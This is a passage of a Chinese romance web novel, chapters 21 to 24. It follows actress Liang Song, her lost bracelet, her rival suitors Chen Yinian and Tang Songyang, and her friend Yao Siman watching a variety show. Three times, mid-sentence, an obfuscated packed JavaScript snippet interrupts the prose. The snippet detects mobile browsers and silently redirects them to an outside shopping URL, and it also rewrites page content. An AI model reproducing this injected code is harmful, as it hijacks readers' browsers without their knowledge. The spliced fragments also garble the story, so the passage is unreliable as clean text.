“他常提起我?”梁颂原本想秉持沉默是金的原则,对陈以年的话一律采取置之不理的态度,但听他这么说,还是没有忍住,问,“他说我什么?” “也没什么,无非是会偶尔聊到一些过去在学校里的事情。”陈以年轻描淡写地说,“你应该还记得吧,跨年级合作的那次演出。” 梁颂自然不会忘记她和唐松阳在大学四年中仅有一次的同台:“记得,你不是也参加了吗?” “对,就是那次。” “但现在想来,那次演出也很怪。”梁颂回想着,说,“明明是我们表演系的活动,你一个电影电视系的跟着掺和什么。” “没办法,受人之托么。”陈以年笑着说,“松阳拜托我帮忙,我怎么能拒绝呢?” “你们倒是一对形影不离的好兄弟。” 陈以年对她话语中似有若无的嘲讽毫不在意,说:“其实还有另外一个原因。” 无人在意,梁颂想这样说,但诚实地问:“什么原因?” “因为你。” 梁颂皱起眉,只觉得他是在拿自己开涮:“什么意思?关我什么事?” 陈以年说:“原本松阳找我帮忙时,我还因为担心时间不好调开而犹豫,但听说有你之后,我就决定答应了。” 梁颂仍然不理解:“所以到底是为什么?你有话直说行不行,别拐弯抹角的。” “你还真是心急,连多听我说几句话都不肯。”陈以年轻笑,脸上竟然浮现出一丝怀念的神色,“其实原因也很简单,你高中时就是松阳的学妹,他经常夸你,说你不仅文化课成绩好,在表演方面也很有天赋,是个非常优秀的小姑娘,我听多了当然也会好奇,所以就答应下来了。” 梁颂从来不知道唐松阳是这样评价自己的,心情一时很复杂,低声问:“他这样说吗?” 陈以年笑了,说:“你不相信?不相信,改天我再让他亲口对你说一次。” 梁颂一看他这样笑就浑身难受,总感觉他在嘲笑人似的,凶巴巴地说:“少来了,我才不想听。” 陈以年从善如流:“好,那就不说他了,再说回我们吧。” 梁颂小声嘀咕:“我们有什么可说的。” “没有吗?我们可是即将要合作的同事呢。” “还没有确定好不好,你怎么能肯定那个人会是我呢?” “直觉加个人的经验判断。”陈以年语气笃定,又提议说,“怎么样,要不要打个赌来验证一下?如果我猜对了,你请我吃饭庆祝,如果我猜错了,我请你吃饭当作安慰。” 梁颂满脸问号:“这个饭是非吃不可吗?我并不想跟你吃饭。” “那么……”陈以年挑眉,“再加一个唐松阳,如何?” “……”梁颂忍无可忍,深吸了一口气,“你别总说学长了,烦不烦!” 陈以年大概是没料到她会有这么大的反应,静默了两秒,改口:“好,那就我们两个,不带他。” 梁颂不加掩饰地翻了个白眼,说:“为什么只有你一个人,我就会同意这种莫名其妙的提议,还得跟你去吃饭?” “我为什么不能这么以为?”陈以年奇道,“难道你是怕跟我单独吃饭,不敢?” 梁颂往后靠了靠,不为所动:“少跟我来激将法那一套,你以为我几岁啊。” 陈以年遗憾地叹气:“你为什么一定要把我当成敌人呢?” “我并没有把你当成敌人。”梁颂否定他的说法,说,“我只是单纯地觉得我们没有必要扯上关系而已。” 陈以年说:“但我们本来就有关系,不是吗?” 梁颂用看神经病的眼神看他:“我们有什么关系?我怎么不知道?” “学长和学妹啊。”陈以年理所当然地说,“这一点你总不能否认吧。” “那又怎么样,照你的说法,在整个学校,我的学长多的是,我总不能跟每个学长都去吃饭吧。” “好好好,算你有理。”陈以年无奈,“你现在不答应就算了,以后总会答应的。” 梁颂不以为然:“难说。” 陈以年笑而不答,没再跟她辩。 车里再度安静下来,梁颂听着舒缓的音乐,忍不住开始犯困,捂着嘴连打了几个哈欠,眼皮也直往下坠,不知不觉就睡着了。 陈以年趁着红灯的时间,从后座拎了件外套给她披上,望着她恬静的睡颜,笑着摇了摇头。明明刚才还在牙尖嘴利地和自己斗嘴,这会儿又能没有防备地入睡,对自己就这么放心吗? 车子平稳地停在枫林花溪一区外的马路上,梁颂犹在睡着,头朝车窗那一侧歪着。 陈以年拿出手机,先对着梁颂的脸拍了两张照片,又等了几分钟,见她仍没有苏醒的迹象,这才稍稍倾身过去,轻轻地推了推她的肩膀:“梁颂?醒醒,到家了。” “嗯……”梁颂迷迷糊糊地睁开眼睛,只见陈以年的脸近在眼前,一下子就清醒过来,猛然瞪大了眼睛,“你,你离我这么近干什么!” 陈以年淡定地坐回去:“醒了?” “哦。”梁颂抬手揉了揉眼睛,身上的外套随之滑落,她下意识地伸手去抓,看清那是一件并不属于自己的外套,扭头看陈以年。 陈以年伸出手,示意她把外套交给自己:“你住哪一栋?需要送你进去吗?” 梁颂立即拒绝:“不,完全不需要。” 陈以年早知道她的答案,也就没有坚持:“那就早点回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724706|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息吧。” “嗯。”梁颂推开车门,犹豫片刻,别别扭扭地说,“那个,谢谢你今天送我回来。” 陈以年微微一笑:“不客气。” 梁颂抿了抿嘴,道了声“再见”便下车了。 陈以年目送她的身影消失,正要发动车子离开,手机突然震动起来,他看了一眼来电人,接通了电话:“喂?松阳。” 电话那头传来唐松阳温润的声音:“听你的声音心情不错,是遇到什么好事了吗?” “算是吧。”陈以年笑了笑,又问,“你找我什么事?” 唐松阳说:“我刚回青城,想着好久没见了,想问问你晚上有没有时间出来坐坐。” “好啊,地方你定,我一定准时到。”陈以年顿了顿,又说,“刚好我也想跟你聊聊。” “是吗?真是难得,那就见面细聊。” “好,回头见。” 陈以年结束了通话,把手机放到一旁,又看到了被自己随手放在副驾上的外套,脸上浮现出淡淡的笑意:“梁颂啊梁颂……” 梁颂刚走到自家楼下,正要拿出手机给姚思曼发消息,就觉得鼻子痒痒的,打了个大大的喷嚏。她揉了揉揉鼻子,纳闷地自言自语:“奇怪,谁在骂我吗?” 就在抬起手时,她察觉哪里不对劲,像少了什么东西一样。 她皱着眉看自己空落落的手腕,心里一个咯噔,暗道不妙,一直戴在左手手腕上的手链,不知道什么时候居然不翼而飞了。 “我手链呢?!” 梁颂顿时紧张起来,第一个想法就是先沿着原路返回去找,边走边想手链可能掉在了什么地方。 她一路找到了小区门口自己下车的地方,可都没有看到手链的影子。 “奇怪,是掉到哪里了呢?” 梁颂自言自语,直起腰,咬着拇指努力回想。她记得很清楚,试镜之前的时候手链还在,她还摸了好几次,那之后…… 总不会是掉到陈以年的车上了吧,难道要去问他? 那条手链贵倒是不贵,可那是和姚思曼一起买的,两个人一人一条,手链的款式相同,是细细的银链,只有点缀其间的小碎钻颜色不同,她的是绿色,姚思曼的是蓝色。 要是让姚思曼知道自己把手链丢了,肯定又要絮絮叨叨地念上一顿。 可是,不到没有办法,她又实在不想主动去问陈以年。 梁颂左右为难,沮丧地叹了口气,耷拉着脑袋转身往回走,整个人都不太好。 真是糟糕,自己怎么就不小心一点呢。 梁颂垂头丧气地回到家里,还没来得及消化完自己的懊丧情绪,手机就响了,偏偏又是姚思曼打过来的。 姚思曼开门见山,直入主题:“梁小颂,我下班去找你,你在家吧。” “在是在,你有什么急事吗?这么急急忙忙的。” “你忘了吗?”姚思曼提醒她,“你录的那一期《缘来是你》今天播啊,我想和你一起看。” 梁颂怔了两秒:“还真是,不过我没打算看啊。” “那不行,你必须陪我看。”姚思曼态度强硬,“就这样啊,待会儿见,有想吃的东西抓紧时间发给我,我顺路带过去。”说罢就不由分说地挂了电话。 “喂——”梁颂赶不上她挂电话的速度,无奈地闭了闭眼。 罢了罢了,丢手链算自己倒霉,但愿有所失能有所得吧。 22. 第 22 章 梁颂刚洗完澡,正擦着湿漉漉的头发,姚思曼就风风火火地来了,一进门就抱怨:“该死的秃头领导,我都要下班了又临时喊我去汇报工作,耽误了我足足十五分钟!” “好啦好啦,不要气了。”梁颂安慰她,“十五分钟而已嘛,比起他以往的斑斑劣迹,这算得了什么。” 姚思曼犹在忿忿:“但今天是周五!” “好啦好啦,也犯不着生这么大气。”梁颂耐心地安抚她,又帮她转移注意力说,“你买了什么好吃的?” “哦,我看到我们公司附近新开的炸鸡店排队的人还不少,又在搞什么开业活动,就随便买了点。”姚思曼说,“但就我路上用的这些时间,凉肯定是凉了,加热一下再吃。” “行,我去热,你先去洗个澡?” “好——” 节目九点播出,梁颂和姚思曼坐在沙发前的毯子上,边吃边聊,等着节目开始,梁颂在姚思曼的要求下,又对她大致讲了讲试镜的过程,以及遇到了尹航的事。 姚思曼对尹航没什么印象了,举着鸡腿想了半天:“哦,那个和你争角色结果输了的。” “嗯。”梁颂郁闷地点头,“她看我不顺眼。” “嗐,管他的。”姚思曼大手一挥,“她看你顺不顺眼对你又没什么影响。” “话是这么说……” “没事,这次你还赢她,看她能说什么。” “虽然我感觉还好,但现在说这些未免太早了点。”梁颂担忧地蹙眉,“这次我是既希望自己试镜能过,但又不太希望能过。” 姚思曼了然:“因为陈以年?” “……嗯。” “要我说也没必要吧。”姚思曼很是不理解,“你不就是顾虑着他和唐松阳关系好,不想和唐松阳撞上吗?又不是你们两个有什么深仇大恨。” 梁颂拧着眉:“是没什么深仇大恨,但是很别扭,感觉哪里都怪怪的。——你不知道,他那个人老是皮笑肉不笑的,我一看到他笑就浑身不舒服。” 姚思曼不以为意:“我看是你自寻烦恼,陈以年多帅啊,喜欢他的小姑娘前赴后继的。” “那都是表象,代表不了什么。”梁颂不服气地说,“我好歹跟他一个学校待了两年,而且我那时候跟学长关系还好,没少跟他接触,肯定比你了解吧。” “行行行,我没法跟你比,你最了解他。”姚思曼妥协,“你对他有意见,别人说什么也不好使。” 梁颂耸了耸鼻子,伸手去拿薯条。 姚思曼眼见,瞄到她的手腕,随口问:“咦?你手链呢?” 梁颂捏着薯条的手在半空僵了两秒,慢慢地缩了回去,肩膀也垮了下来:“丢了。” “啊?怎么会丢呢?丢哪儿了?” “知道丢哪儿就不叫丢了好不好。”梁颂怏怏不乐,“我去试镜的时候明明还在,回来一摸手腕就没了。” “是不是掉路上了?” “我找了啊,从楼下一路找回小区门口,都没看见。” 姚思曼摸着下巴想了想,一拍梁颂的大腿,发出清脆的声响:“是不是掉在陈以年的车上了?不是他送你回来的吗?” 梁颂“嘶”了声,随即毫不留情地拍了回去:“拍你自己的腿。” 姚思曼痛得龇牙咧嘴,又回了一巴掌:“你这报复心也太重了吧!” 梁颂不甘示弱地反击:“是你先动手的!” 两个人你来我往,直斗得两败俱伤。 梁颂捂着被拍红的大腿,苦着脸要求停战:“停停停,到此为止。” “认输?” “认输认输。” 姚思曼心满意足地收手,又戳了戳梁颂:“你问问陈以年啊,如果真掉在他车上了,让他赶紧还给你。” 梁颂就是不想跟陈以年扯上太多的私人关系才没有联系她,支支吾吾地不应声。 姚思曼又问:“你有他的微信吧,好歹一个学校待了两年,你和你的学长关系又很好。” 她用自己说的话来应对自己,梁颂无言以对,心虚地撇开视线。 姚思曼看着她眼神躲闪的样子,突然想到了什么,邪魅一笑,倾身过来盯着她的眼睛:“梁小颂你是不是忘了,你可不能撒谎哟,你觉得自己能憋多久?” “……”梁颂无可奈何,老老实实地交代,“是有微信,但毕业后就拉黑了。” 姚思曼困惑地眯眼:“哈?为什么?” “因为想着离开学校也不会联系了……” 姚思曼翻了个白眼,不客气地点评:“我看你的脑子是真有问题。” “随你怎么说。”梁颂破罐子破摔,“反正我不想联系他。” “好吧。”姚思曼也拿她这种固执没办法,耸了耸肩膀,说,“他捡到的话,应该也会想办法告诉你吧。” 梁颂没说话,又拿了根薯条慢慢地咬。 就算是陈以年捡到了手链,他会还回来吗?自己对他那么不友好,他不会直接丢掉吧。 她惆怅地吃掉一根长长的薯条,说:“我去拿喝的,你要什么?” “可乐!” “好。”梁颂起身去拿喝的,还没走到厨房,放在沙发上的手机就响了。 姚思曼离得近,凑过去看了一眼,说:“不知道是谁,一个没存的联系人。” 梁颂也没在意,说:“可能是什么推销电话吧,你先帮我接一下。” “哦。”姚思曼答应着,扯了两张纸巾擦掉手上的油,接通了电话,“喂?你好。” 那头沉默了几秒,问:“请问梁颂在吗?” “她在厨房。”姚思曼眼望着厨房的方向,心想这种开场白也不像是推销员啊,不会是什么同事吧,于是问他,“请问您是哪位?” “我是陈以年,有话要对梁颂说。” 姚思曼瞪大了眼睛,声音都跟着提高了:“陈,陈以年?” 好家伙,真是说曹操曹操到。 梁颂左手可乐右手苏打水地从厨房走出来,闻声脸色一变,大步走过来,用口形问姚思曼:“陈以年?” 姚思曼使劲点了下头,无声地回她:“没、错。” “说我不在。” “我都说了你在厨房了!”姚思曼把手机往她眼前递,“快接。” 梁颂无奈地放下两罐饮料,接过手机走开了几步,故作淡定地开口:“我是梁颂。” 陈以年的声音带着淡淡的笑意:“到家都没发现丢东西了吗?” “我的手链。”梁颂脱口而出,“果然掉在你车上了吗?” “嗯?看来你早有预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734006|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料,为什么不问我呢?” 梁颂语塞,明智地选择闭口不言。 好在陈以年似乎也没想着难为她,解释说:“我也是自己到家的时候才注意到座椅下有什么东西亮闪闪的,凑近了才发现是一条手链,我看了看是中间断开了,所以掉下来你也没察觉。” “哦……” 原来是断了,那就难怪了,梁颂想,可是该怎么从他那里拿回手链呢?上门去取?那也太唐突了吧。 还没等她想好,陈以年便提出了解决方法:“我还在外面,不太方便,明天我叫个快递寄给你。” 梁颂不想占他便宜,立刻提前声明:“你选到付就好。” 陈以年笑了,顺着她的意思说:“好。” 他的笑声太近了,梁颂不自在地偏了偏头,别扭地说:“总之,谢谢你告诉我,没有把手链随手丢掉。” “我知道是你的,当然不会丢,不过——”陈以年话锋一转,说,“如果你真的想谢我,不如帮我做一件事?” 梁颂听到他的前一句话时生出的的感激在听到第二句话后荡然无存,不由得泄露了心声:“我就知道你没那么好心,你想让我做什么?假如是什么太过分的事,你就干脆把手链丢掉好了。” “你看你,怎么总把我当成大恶人呢。”陈以年也不恼,笑着说,“事情很简单,只要你动动手指就好了。” 梁颂半信半疑:“什么事?” “把我从黑名单里放出来。——我也知道你肯定不想接我电话,所以本来是想发消息告诉你的,可惜消息发不出去。”陈以年顿了顿,颇有些自嘲地说,“托你的福,我还是头一次收到红色感叹号。” 梁颂尴尬地用手指抠衣角:“呃……” “梁颂同学,我的名字在你的黑名单里也躺了好几年了吧,可以高抬贵手放我出来了吗?” 梁颂险些就把“你怎么知道的?”问出口,硬生生地克制住,把疑问吞了回去。 “你装哑巴倒很熟练。”陈以年轻声叹息,正要再说什么,电话那头有人叫他的名字,他便没有再说下去,改口说,“那先这样吧,再见。” “嗯,再见。” 梁颂拿着手机,一时有点发愣,她不会听错的,陈以年此时正跟唐松阳在一起。 “怎么样怎么样?”姚思曼看她挂了电话,期待地问,“现在是什么情况?” 梁颂回过神来,走回沙发边坐下,说:“的确是他捡到了,他说明天用快递寄给我。” “找到就好。”姚思曼松了口气,“你看,我就说人家陈以年人还是很不错的嘛,哪有你说的那么罪大恶极。” 梁颂敷衍地扯了扯嘴角,犹豫半晌,终于是把陈以年从黑名单里放了出来。 也不知道陈以年是就在那边等着检查梁颂有没有答应他这小小的要求,抑或是时机卡得刚刚好,几乎就在梁颂将他从黑名单移除的下一秒,他的消息就发了过来,一个可爱的笑脸表情包,和他本人怎么看怎么不搭。 梁颂盯着那个表情包看了两秒,默默地关闭了和他的聊天界面,决定无视。 反正他这会儿发消息过来,八成也只是想确认自己还在不在黑名单,自己回不回复也无所谓……吧。 她如此自我安慰着,暂时把这件事放到了一边。 23. 第 23 章 陈以年结束了和梁颂的通话,对迎面走过来的唐松阳和盛星打了个招呼。 盛星把酒放在桌上,打趣地说:“哟,这是在和谁打电话呢,怎么一见我们过来就挂掉了,我们打扰你了?” “没有的事。”陈以年勾了勾嘴角,说,“你怎么还跟着上来了?不用招呼客人吗?” “客人哪有我亲爱的朋友们重要。”盛星夸张地说,“松阳可是好久没露面了,我不陪一杯怎么说得过去?” 唐松阳无奈地摇摇头,对陈以年说:“我都说不用他陪了,他不肯听。” 陈以年说:“向来我行我素的人是从来不肯听别人说话的。” “喂喂喂,你们两个太过分了啊。”盛星不满地抗议,“我,堂堂一个老板,趁着周五的客流量飙升之前来陪你们,你们居然胆敢嫌弃我!” 唐松阳微笑着安抚他:“我们是不想耽误你的生意啊,你怎么能这么想。” 盛星傲娇地扬起下巴,问:“真的?” “嗯!当然是真的。” “哼,看在你们还算真诚的份上,那我勉勉强强先原谅你们好了。” 盛星这人从读大学时就是个人来疯,爱耍宝。不过反正唐松阳也在,足够应付他,陈以年便懒得配合他演出,兀自打开微信,试着给梁颂发了条消息,想验证一下自己还在不在黑名单。 这次红色感叹号没有出现,发送成功。 陈以年会心一笑,心想可见梁颂虽然嘴硬,心毕竟还是软的。 盛星看见他笑,立马又来劲了,指着他对唐松阳说:“噫,这个人笑得好恶心,你说他是不是又在憋什么坏水了。” “好了,盛星,你就别这么不饶人了。”唐松阳好心地提醒他,“你想想,你什么时候在以年这里占过上风了?” 哪怕再不情愿,盛星也得承认唐松阳说得对,但收回攻势时也不忘保全自己的面子:“行吧,今天我就大发慈悲放你一马。” 陈以年也没跟他计较,随口接:“谢谢你高抬贵手啊。” 盛星又陪他们坐了一会儿,聊了聊近况,到底是记挂着楼下的情况,下楼去履行老板的职责了。 这是一家名为“三棵树”的清吧,陈以年的大学同学盛星正是清吧的老板。他上学时成绩就一般,在四年的学习中也认清了自己的兴趣并不在此,因此毕业后也没有朝着相关的方向发展,而是选择了自己做生意。 好在他们家的家底也算殷实,父母奋斗半生,又有稳重懂事的大儿子,只求他不胡闹就好,对这些小要求是来者不拒,慷慨地提供资金援助,帮他开起了这家清吧。 开始新事业后,盛星才后知后觉地发现自己的技能点在哪里,边学边做,倒也把这家不大的店经营得有声有色,从此在父母和哥哥面前挺直了腰板,连说话都硬气了不少。 盛星喜欢热闹,常邀请朋友过来聚会,为了保障隐私,索性把二楼空了出来,不再接待普通客人,只对朋友开放。 陈以年对频繁的聚会没什么兴趣,但对这里的环境很满意,所以也会偶尔过来,约见朋友也把这里当首选之处。 待盛星下楼后,唐松阳才开口:“以年,其实刚刚我也想问,你在和谁聊天?整个人的感觉看起来很不一样。” “是吗?”陈以年挑了挑眉,说,“算不上聊天,梁颂把东西落在我车上了,我告诉她一声而已。” 唐松阳听到梁颂的名字,神色微不可察地变了变,但仍平静地笑着:“是吗?原来是这样,看来你们两个的关系改善了不少。” 陈以年故意说出梁颂的名字,自然也在敏锐地观察唐松阳的反应,见他这样便问:“你呢?还没改变想法吗?” 唐松阳问:“你指的是什么?” 陈以年笑了,说:“在我面前就不用这么遮遮掩掩了吧,你明白我的意思。” 唐松阳沉默半晌,说:“我又能怎么做呢?她对我的感情根本不是喜欢,这一点我比你清楚。她只是以为自己喜欢我,并且一直陷在这团迷雾里没有走出来。” “那又怎样?”陈以年说,“起码,她是真心以为自己喜欢你。” 唐松阳轻声叹息:“正是因为这样,我更不想贸然破坏我们之间的关系,就让我的形象在她心中永远停留在学长那一步吧,谁也不要越界,我想这对我们彼此都好。” 陈以年却并不认同:“松阳,假如我是你,就算梁颂对我只有憧憬和崇拜,我也会卑鄙地利用这一点把她留在自己身边,用自己的真心去感动她。你这样一味逃避,并不是如你所说,一切都是为了她,而是为了你自己。”他顿了顿,说,“松阳,你在感情里是个胆小鬼,你胆小到不敢去承担后果。” 唐松阳默然不语,良久,他抬眼看陈以年,问:“那你呢?不想继续旁观了?” “我吗?”陈以年手指摩挲着杯壁,不躲不闪地迎着他的目光,说,“是的,我不想陪你们两个玩了。” 两个人对视片刻,唐松阳垂下眼睑,说:“坦白说,以年,我很羡慕你。” “为什么?” “你没有发现吗?在你面前的梁颂才更接近真实的她,笑和怒都是她发自本心的表现。”唐松阳低声说,“有时候我也很希望她在我面前能肆意鲜活地笑,可是……她似乎只想把自认为最完美的一面展现给我。” 陈以年微微地笑了笑,说:“我知道,既然我决定了这样做,自然也不是毫无底气的。” “原来如此。”唐松阳黯然地点头,说,“所以,这就是你想跟我聊的事情吧。” “嗯。” “是吗……是这样啊。”唐松阳的语气有几分落寞,但很快又调整好了情绪,说,“不管怎么说我还是梁颂的学长,要是让我知道你欺负她,我可不会放过你的。” 陈以年轻笑:“放心。”停顿了两秒,又问,“想看电视吗?” “嗯?” 陈以年起身去开电视,回头冲他笑:“来看看梁颂的另一面。” 九点,新一期的《缘来是你》准时播出。梁颂根本就不想看,在姚思曼的软磨硬泡之下又不得不看,只得勉为其难地陪着她。 姚思曼摸着鱼断断续续看了直播,漏了不少内容,此时看得津津有味,时不时还要向梁颂这个真在现场的人询问当时的情况,完全把她当成一个什么游戏的旁白NPC,专门负责解说板块的那种。 梁颂身在这里,心却不在,只顾着专心致志地玩低智的找猫小游戏,手机里的“喵”声此起彼伏,对电视里的声音则是左耳进右耳出,压根没听进去多少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748677|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结束了小游戏的其中一关,梁颂正要点进下一关,突然听到电视里传来一句“要不你先买个镜子照照自己呢?” 是自己的声音,但又显得格外陌生。 梁颂震惊地抬头。 姚思曼笑得前仰后合:“哈哈哈哈哈,果然再听一次依然很好笑。” 梁颂瞪大了眼睛,指着电视,不可置信地说:“这他们都不剪?!” 姚思曼好不容易止住笑,说:“这么精彩干吗要剪!节目组怕不是巴不得让更多人看到呢。” “倒是也管管我的死活啊,这肯定被骂的好不好!” “哎呀,说不定观众们以为你在整活呢,看个热闹就过去了,别认真。”姚思曼安慰她,“本来就只是个综艺而已,谁会上纲上线的呀。” “你说得倒是轻巧,攻击嘉宾的又不是你。”梁颂连小游戏都玩不下去了,看着电视上的自己,越看越郁闷。 姚思曼思维跳跃,不知道联想到了什么,冷不丁冒出一句:“你上镜好像不如本人好看。” 梁颂心不在焉地应:“是吗?” “动态比静态好,笑起来好看,你应该多笑笑。”姚思曼发表完评价,又好奇地问,“在你见过的明星里,有没有那种特别不上镜的?” 梁颂思绪飘忽,无意识地重复:“特别不上镜的……” 姚思曼不满地推她:“你复读机呀,我问你呢。” “嗯?”梁颂回过神来,问,“你刚说什么?” 姚思曼翻了个白眼:“什么也没说。” “你看你,又急。” “梁小颂你!”姚思曼气得握拳就想打她。 梁颂赶紧侧身躲开:“好好好,我不说了。” 姚思曼悻悻地收手,说:“我发现了一件事。” “什么事啊。” 姚思曼“哼”了声:“我发现,虽然你以前在我面前就挺气人的,但是现在气人的程度更是有过之而无不及。” 梁颂一句话就把她噎了回去:“怪谁?” 姚思曼无言以对,气呼呼地撇过头,继续看自己的节目。 梁颂的小游戏也玩不下去了,靠着姚思曼跟她一起看。令她大感意外的是,她的好多话后期都没有剪掉,原封不动地保留了下来。 姚思曼忍不住感叹:“节目组够心黑的啊,这摆明了要拉你当靶子,把所有的争议都集中到你身上嘛。” 梁颂扯了扯嘴角:“谁叫我口无遮拦。” “嗐,也没什么啦,毕竟你说的都是大实话。”姚思曼宽慰她,“你也别太担心了,我看未必被骂呢。” 梁颂往后一仰,无力地摆了摆手,一副摆烂到底的模样:“算了算了,随它去吧。” 姚思曼同情地拍拍她的膝盖:“放心吧梁小颂,要是有人骂你,我一定毫不客气地帮你骂回去,绝对不让你吃亏。” “劝你不要预设矛盾比较好。”梁颂萎靡不振,“万一我做了半天心理准备,结果零人在意,那就真尴尬了,正应验了临风姐的话,骂都没人骂才是最惨的。” “我懂,黑红也是红嘛。” 梁颂头疼不已,伸手阻止她:“好了可以了,不要再说了。” 再说下去,她今晚是别想安心睡觉了。 24. 第 24 章 次日,天光大亮,梁颂迷迷糊糊地睁开眼睛,只觉眼皮发沉,头昏脑涨,再看看身边的姚思曼,她还裹着被子睡得正香,长发乱糟糟地糊在脸上,被呼出的气息吹拂得微微飘动。 梁颂也没什么事可做,并不打算起床,小心地翻了个身打算接着睡,可刚合上眼睛,那边床头柜上姚思曼的手机开始嗡嗡地震动,瞬间震散了她的睡意。 她还没来得及做出反应,就见姚思曼一个鲤鱼打挺坐起身来,利索地翻身下床去找衣服:“啊啊啊,几点了,要迟到了吗?” 梁颂看得目瞪口呆,弱弱地回答:“今天是周六,你冷静点。” 姚思曼愣了愣,一拍脑门:“对哦,是周六,那我闹钟怎么响了?” “有没有一种可能,是有人给你打电话。”梁颂说,“你这工伤也太严重了吧。” 姚思曼长长地舒了口气,坐回到床上,顺手把手机拿过来:“到底是谁啊,居然在周六的大清早扰人清梦,真是道德——” 看清来电人时,她的抱怨戛然而止,硬生生把“沦丧”两个字吞了回去。 梁颂好奇地问:“怎么了?是谁?” 姚思曼把手机举到她面前,纳闷地说:“你妈。” “哈?”梁颂也不解,看了看自己的手机,并没有未接来电,也就是说,妈妈并不是没找到自己才迂回地找姚思曼的,那是有什么事要特意找她呢? 姚思曼犹豫地问:“我要不要打回去?” 梁颂耸了耸肩:“打吧,问问她有什么事,免得她回头又要找我了。” “嗯,那好吧。”姚思曼答应着,盘腿坐正,回拨了梁母的电话,那头也很快就接通了。 “喂?阿姨,我是思曼,你找我呀。” 梁母先道歉说:“不好意思啊思曼,是不是睡懒觉被我吵醒了?” “哪有的事,我都醒了,刚刚手机静音没注意。”姚思曼丝滑地撒了个小谎,问,“阿姨你找我有什么事呀。” “哦,是这样,上次你们回来,我不是说同事有个刚回国的侄子还不错吗?你还记得吗?” “哦——海归优秀青年嘛,记得记得。”姚思曼对梁颂挑眉,切成了免提才说,“你不说我都要忘了。” 梁颂 梁母笑着说:“我可没忘,他是最近忙着落实工作和住处,时间也比较紧张,我就想着等他稳定下来再给你们介绍。” “那他现在都稳定啦?” “都稳定了,说是过几天就入职了。”梁母说,“怎么样?是等你回来见,或者给他个联系方式,你们自己去联系?” 姚思曼不假思索:“我们自己去联系吧。” “也好,你们年轻人有自己的节奏,我们就不瞎掺和了。”梁母表示赞同,说,“那我把你的电话号码给他吧,让他加你微信,行吗?” “没问题呀,谢谢阿姨。” 梁母感叹:“哎,你看你多好,小颂什么时候才能懂事,让我省点心啊。” “……”怎么回事,怎么还在背后蛐蛐人呢。 姚思曼强忍着笑意,这边冲梁颂眨了眨眼,用口形说:“让阿姨省点心。”那边又在梁母面前装乖,“阿姨你放心,回头我好好说她!” 梁颂终于忍不住了:“你想说谁?” 梁母听到了她的声音:“咦?你们俩在一块呢?” “是啊。”梁颂说,“不在一块还听不到你这么说我呢。” 梁母哈哈笑了两声,并没有理会她的控诉,只对姚思曼说:“那就这么说定了啊,我跟对方说去。” “好哇,谢谢阿姨。” 梁颂眼睁睁看着梁母挂了电话,痛心疾首:“这是我的亲妈吗?” “好啦好啦。”姚思曼安抚地拍拍她的腿,早已沉浸在了自己的期待里,“我已经迫不及待了,你说那人会长什么样呢?” “哼,谁知道呢,不过我还是之前的话,媒人的嘴骗人的鬼,劝你别抱太大的期望。” “也是。”姚思曼摸着下巴沉思了几秒,一拍巴掌,“好,决定了,如果他约见面,你得陪我一起去。” “哈?我?”梁颂指了指自己的鼻子,“你上次可没这么说,你早说还有我的事,我那天就给你搅黄了。” “别这么绝情嘛。”姚思曼可怜巴巴地说,“这么点小事你都不肯陪我,我好伤心的。” 梁颂不为所动:“少来,明明是你要帮我的,又把我扯进去还算帮我吗?” “求你了梁小颂,你不能丢下我不管啊。” 梁颂决然地撇过头。 “求你了……”姚思曼晃着她的胳膊央求,“我一个人害怕。” 梁颂无奈极了:“哦,你这会儿又知道害怕了。” “我不管,反正你得陪我。” “……” 在姚思曼的软磨硬泡下,梁颂实在没办法,只得勉强同意:“好吧,下不为例,你要是再敢自不量力地给自己揽这种活,打死我也不管了。” “我保证!” 梁颂叹了口气,正想再说她两句,自己的手机又震动起来。 姚思曼提醒她:“这次是你的。” “我知道。”梁颂摸过手机,见是郑临风打过来,忙正襟危坐地接通了,“喂?临风姐。” 郑临风也不跟她寒暄,开门见山地问:“你看热搜了吗?” 梁颂不明所以:“热搜?怎么了?” “没事,没看到就别看了,无所谓。” “哦……”梁颂看她这态度,心里便有了些不好的推测,还没来得及去看,姚思曼早打开了微博,惊讶地把手机伸过来,无声地说:“你上热搜了。” 郑临风接着说:“没事,我看了,问题不大,你不用回应,也不要试图去辩解什么。” “嗯。” “大部分人还是支持你的。”郑临风说,“你也别想太多,安安心心的就好。” “嗯,我知道了,谢谢你临风姐。” 郑临风又叮嘱她:“试镜的结果出来我再通知你,别惹事。” 梁颂乖乖地答应着,结束了通话。 “这个话题很有意思哎。”姚思曼边念边点进去, 